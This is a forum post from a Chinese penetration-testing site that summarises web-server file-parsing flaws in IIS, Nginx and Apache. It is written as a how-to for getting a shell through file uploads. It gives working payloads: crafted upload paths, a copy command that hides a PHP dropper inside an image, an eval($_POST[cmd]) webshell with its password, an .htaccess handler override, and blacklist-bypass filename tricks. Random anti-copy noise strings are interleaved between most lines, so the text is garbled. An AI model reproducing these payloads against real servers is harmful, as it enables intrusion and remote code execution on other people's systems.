中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
: J5 U" I: H( }3 h# B' @2 W
[+]IIS6.0
& x9 T& V% {0 m; w+ E
) C. c) _* J$ k, D7 f
目录解析:/xx.asp/xx.jpg
4 v4 _4 l! X1 \
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
1 d. j- g8 q! X4 @# K
IIS6.0 会将 xx.jpg 解析为 asp 文件。
! u' i, I7 H* C7 M7 M
后缀解析:/xx.asp;.jpg
7 h1 L6 ~# q) N/ l+ ~) t' t1 B
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
, x6 Y- F( b; E* u8 P$ S
默认解析:/xx.asa
4 Q6 k n; I: q3 ^; v0 d& I: E2 W+ M
/xx.cer
+ X: k ]; Y0 D! j+ d
/xx.cdx
5 T' J$ Q, m2 E, r$ g
IIS6.0 默认的可执行文件除了 asp 还包含这三种
8 b$ K) C7 R6 [% w" X$ s1 m( M0 [
此处可联系利用目录解析漏洞
! _4 f9 l+ f; p4 D7 I b& m
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
! m1 U0 r4 W$ X
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
+ O7 ]; `5 u7 ]4 r4 n
( R3 x. p4 ]- ], [8 ]& }$ j C
IIS 7.0/IIS 7.5/Nginx <0.8.03
3 t! A8 ?2 C1 z% C% q
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
" h( j, |% a: b' {) g, f
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
3 T: r9 W- I9 E* n8 y6 e
常用利用方法:
# k3 ]& L2 @+ c3 E$ y- R: ?" M/ |
将一张图和一个写入后门代码的文本文件合并将恶意文本
0 Q( T( ~. L3 E w B/ Q" G y
写入图片的二进制代码之后,避免破坏图片文件头和尾
0 l8 G% \1 D0 \- C
如:
$ P- w3 m. H: {: e
copy xx.jpg /b + yy.txt/a xy.jpg
) g I; y2 A# M2 {( V
#########################################################
( j! L: T7 Z* `. l: d
/b 即二进制[binary]模式
' I2 W& w7 J! |8 @( R, G
/a 即ascii模式
, k% e U/ J6 w+ E; e7 _
xx.jpg 正常图片文件
& d0 t' { p) \) y
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
# O8 x$ V2 y- L
'<?php eval($_POST[cmd])?>');?>
' F& k( Q! r2 c. G* W! j8 ]
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
$ ~. y/ E0 I Z, x/ l
为shell.php的文件
8 b7 k# n+ v" y* F
###########################################################
' e/ h3 G! S9 e# v) V) } P; J
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
6 S1 d. ^- |1 L1 i* Z: ?
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
& ]7 R- c5 ~( M' l
密码 cmd
2 m) x U/ _( c) _
[+]Nginx <0.8.03
& q [2 Y' M5 L6 o0 q d8 }
, q( E0 v5 Y* W% o# K8 E
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
7 P8 s0 S* w& k6 y7 [5 C- R q- X1 Z
在一个文件路径(/xx.jpg)后面加上%00.php
( A, w9 n6 U* z$ ^+ n
会将 /xx.jpg%00.php 解析为 php 文件。
1 N2 n, V2 N$ {+ |. r! n7 P# Z/ G4 j2 _
[+]Apache<0.8.03
k) J/ L3 [9 w) ?
) ~$ v# e% }6 A" D! [- j
后缀解析:test.php.x1.x2.x3
, J3 n5 B( Z% e
Apache将从右至左开始判断后缀,若x3非可识别后缀,
5 m0 ~% ?. W/ _1 I3 |! P
再判断x2,直到找到可识别后缀为止,然后将该可识别
9 O5 T( @2 A- p" O$ X' T4 t
后缀进解析test.php.x1.x2.x3 则会被解析为php
! V' |5 n& j/ x+ X& g1 u1 W) g) \
经验之谈:php|php3|phtml 多可被Apache解析。
1 |% k; r7 h' I, Q, B
[+]其他一些可利用的
0 v& c0 }7 k0 v; Z% l- X0 c; H& z, X
3 q3 R( _2 B! c
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
9 X3 R# h5 f- U P, H3 u8 G
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
2 s0 C) }# G3 n5 J1 H
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
2 w, b, U' h) x' q
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
2 }) _% T Y8 w# F
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
/ Z/ o# v1 o1 d% Y6 S1 P( a1 H8 X
{Linux主机中不行,Linux允许这类文件存在}
4 |$ Q1 v6 {& A
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
2 A# d2 ~+ _2 W; C% [9 ^
的,当初我并不知道),且可以被上传,那可以尝试在
7 a- n+ g8 K+ q! W: _
.htaccess中写入:
1 s% i+ B: v- P! T- @& _$ ]
<FilesMatch “shell.jpg”>
" f7 s6 k% ^ W* C: ]) r
SetHandler application/x-httpd-php
( ~/ M; S) w$ T
</FilesMatch>
( I1 b) d) O; M* u
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
% M4 K8 i. h- N/ E" e& W7 Z
[+]错误修改
9 @9 G2 p; R+ O$ F0 S
9 H4 L. I! v# b- Y! e3 @6 e, J
在 IIS 6.0 下可解析 /xx.asp:.jpg
6 N l# t$ V4 ]
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
; t$ Z/ _- m0 j
剩下/xx.asp}修改:
a7 H6 E$ ~$ W& H4 v2 U
先谢谢核攻击的提醒
1 E* `3 k( N5 @ h# i& Y5 E( A4 l
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
" k% P. Q3 ]9 g; Z
里是没有任何内容的,因为。。不好解释 大家自己看
) y$ P" W9 Q$ D x% H! a
http://lcx.cc/?i=2448
5 s W$ |# Y* I$ U( [6 |
http://baike.baidu.com/view/3619593.htm
2 B7 ~5 N7 f' a/ S5 z! M6 ~! |
: ?. j) r6 `5 X3 C
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2